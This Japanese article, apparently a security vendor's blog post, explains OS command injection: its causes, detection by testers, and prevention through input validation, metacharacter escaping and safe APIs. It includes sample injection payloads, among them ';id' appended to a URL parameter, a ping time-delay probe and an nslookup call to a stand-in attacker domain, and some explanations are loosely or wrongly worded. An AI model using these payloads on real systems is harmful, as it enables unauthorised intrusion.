過去20年にわたり複数の大手サイトを狙った侵入手法『SQLインジェクション』は既に知られていると思います。これは有名なコードインジェクションですが、攻撃者はデータベースクエリやコードの解析だけでなく、別の手口も用いて攻撃します。
攻撃者のお気に入りの手口のひとつに、『コマンドインジェクション』があります。
サイトやアプリ、それに付随するデータを操作する手段として、コマンド(またはシェル)インジェクションは非常に潜在的な脅威です。なぜ注意すべきか、その危険性や防止策について、以下で詳しく解説しています。
この攻撃は、ホストサーバのOSへ偶発的かつ破損したコマンドを送信することで実行され、対象のサイトやアプリ、それに付随する要素を管理者権限のように制御することを狙っています。攻撃の強度によっては、OWASPのコマンドインジェクション攻撃が、ホスティングインフラ、クライアントとサーバの信頼関係、さらにはアプリ全体の性能にも影響を及ぼす可能性があります。
発生の仕組み:
例
http ://127.0.0.1/delete.php?filename=inject_demo.txt;id
上記のコマンドは、サイトやアプリ上の「inject_demo.txt」というファイルを削除し、誰でも実行可能です。
いずれもホストサーバの破壊や改竄された要素の注入を狙うため、同一視されがちですが、必ずしも同じではありません。
コードインジェクションは、アプリ内で不正なコードを投入する手法で、エンドユーザーが信頼できないデータ入力を不適切に扱うことに起因します。この種の攻撃は、エンドユーザーデータの検証(複数の重要な検証のうちの1つでも)の欠如により発生し、コードの投入はローカルでもインターネット越しでも行われることがあります。
被害という点では、破損したコードの注入は、対象システムやアプリのみを妨害します。
例えば、攻撃者が破損したPHPコードを注入すると、そのコードはホストマシンのPHP機能や権限に大きく依存し、実行自体は単純で、トロイの木馬に似た動作を示します。
これに対し、コマンドインジェクションは、シェルなどのコアコンポーネントへ不正なコマンドを注入します。この手法では、攻撃者は外部コードを利用せず、既定のアプリ機能の拡張によって脆弱性を探り、見つかった穴を突いて攻撃を実行します。
また、この種の攻撃は、URLやリモートサーバを通じても行われる可能性があります.
以下の方法を用いると、この脆弱性が発生する可能性があります:
クライアントが任意のコマンドを実行できるアプリは多く、ホストへ自動でコマンドが送信されるため、インジェクションが起こりやすくなります。
クライアントが任意のファイルをアップロードできるアプリは、攻撃者がこれを利用してコマンドインジェクション攻撃を実行する恐れがあるため、問題となります。任意ファイルを介して悪意あるコマンドを注入することは容易です。
多くの場合、攻撃者はそのようなファイルをウェブルートに配置し、攻撃を実行します。
サーバサイドのデシリアライズが十分な入力検証なしで行われると、この攻撃は容易に実行されます。
ウェブサイトが動的なHTMLレスポンスを生成できると、攻撃者にとって好都合な状況が生まれます。このようなHTMLレスポンスの存在により、サーバサイドテンプレートへの悪意あるコマンド注入が可能となります。
設定不十分なXMLパーサを用いるアプリは、ユーザー管理のXML入力を正しく解析できず、コマンドインジェクションの脆弱性を生じさせる可能性があります。その隙を突いて、攻撃者はXMLパーサに不正なコマンドを注入し、DDoSやSSRF攻撃を引き起こし、さらにはデータ流出にもつながります。
コマンドインジェクションの脆弱性は隠れていることが多いため、見過ごされがちです。以下は、テスターや攻撃者がその存在を確認するための方法です。
即時のコマンドインジェクション検知のため、タイムディレイを発生させる方法があります。pingコマンドは、送信するICMPパケットの数を指定できるため、効果的です。標準の実行時間は以下のとおりです:
& ping -c 10 127.0.0.1 &
このコマンドを実行すると、アプリは10秒間ネットワークアダプターへpingを送るため、ループバックアダプターも同様に10秒間pingが行われます。
ファジングは広く用いられる脆弱性検知技法で、単独でも他の方法と組み合わせても使用され、通常は開発者側の入力に対して行われます。
入力のファジングは完全自動化されたプロセスで、アプリ内のコマンドインジェクション脆弱性を検出します。テスターはペイロードのヘッダーをファズして、コマンドインジェクションの有無を確認する必要があります。Wfuzz、ffuf、nuclieなどがよく使用されるツールです。
コマンドインジェクションが成功するための重要な条件は、ペイロードがOSのコマンドライン構文に適合していることです。OSフィンガープリントを用いれば、影響を受けるOSを特定でき、正しい構文のペイロードを早期に発見するのに役立ちます。
OAST技法を利用して、アウト・オブ・バンドでのネットワーク通信を引き起こす注入コマンドを用いる検知手法も有効です。
例えば、&nslookup kgji2ohoyw.web-attacker.com & というペイロードは、nslookupコマンドで特定ドメインのDNSルックアップを開始します。攻撃者またはテスターは、このDNS問い合わせを確認し、コマンドインジェクションの存在を特定できます。
アウト・オブ・バンドチャネルを通じて、注入されたコマンドの出力をフィルタリングすることも可能です。
ウェブルート内のブラウザ取得ファイルへ注入コマンドの出力をリダイレクトすることで、コマンドインジェクションの存在が明らかになります。
影響を受けるアプリやデータの規模によって、コマンドインジェクションの結果は甚大になる恐れがあります。したがって、早期検知とともに、以下の有効な防止策を理解することが重要です。
可能な限り「exec」をOSに渡さないようにし、リスクを低減してください。アプリ内でできる作業は、できるだけアプリ側で完結させるようにすることが求められます。
信頼できない入力は、初めから終わりまで十分に検証する必要があります。未検証の入力は脆弱性を招くため、加えて入力がアプリの期待に沿ったものであるか確認してください。
広く認められている検証手法の一つに「ホワイトリスト検証」があり、アプリに適合する入力のみを受け入れ、その他を拒否します。検証時は、文字セット、日付の範囲、最小・最大長、日付および数値の範囲、正規表現パターンの一致なども考慮する必要があります。
OSのコマンドラインでは、重要な意味を持つメタ文字が多数存在します。これらを無効化することで、ハッカーによる不正利用を防止できます。Windows、Linux、Unixすべてに適用してください。
Windowsでは、各文字の前に「^」を付けることで無効化できます。また、特殊な意味を持つ ( ) <>& * ‘ | = ? ; [ ] ^ ~ ! . ” % @ / \ : + , ` についても同様に処理してください。
LinuxおよびUnixの場合は、各文字の前に「\」を付ける方法で無効化します。{ } ( ) <>& * ‘ | = ? ; [ ] $ – # ~ ! . ” % / \ : + , ` についても同様に処理され、コマンドラインインタプリタ上でその意味が消去されます。
最小権限の原則は直接の防止策ではありませんが、OSコマンド実行に使用されるアカウントの権限を限定することで、リスクと被害を低減できます。
コマンド実行は、安全なAPIを利用して行ってください。これらのAPIは、コマンドをパラメーターおよびコマンドライン引数の配列として処理するため、コマンドインジェクションのリスクを低減し、十分な検証が行われた安全なプログラムとして実行されます.
さまざまな被害をもたらすコマンドインジェクションは、ホストサーバやその動作に影響を与えるサイバー攻撃の一種です。データ、サイト、そして顧客を安全に守るためにも、この攻撃について理解することは重要です。上記の記事を読んで、脅威の内容と防止方法を十分に把握してください。
最新情報を購読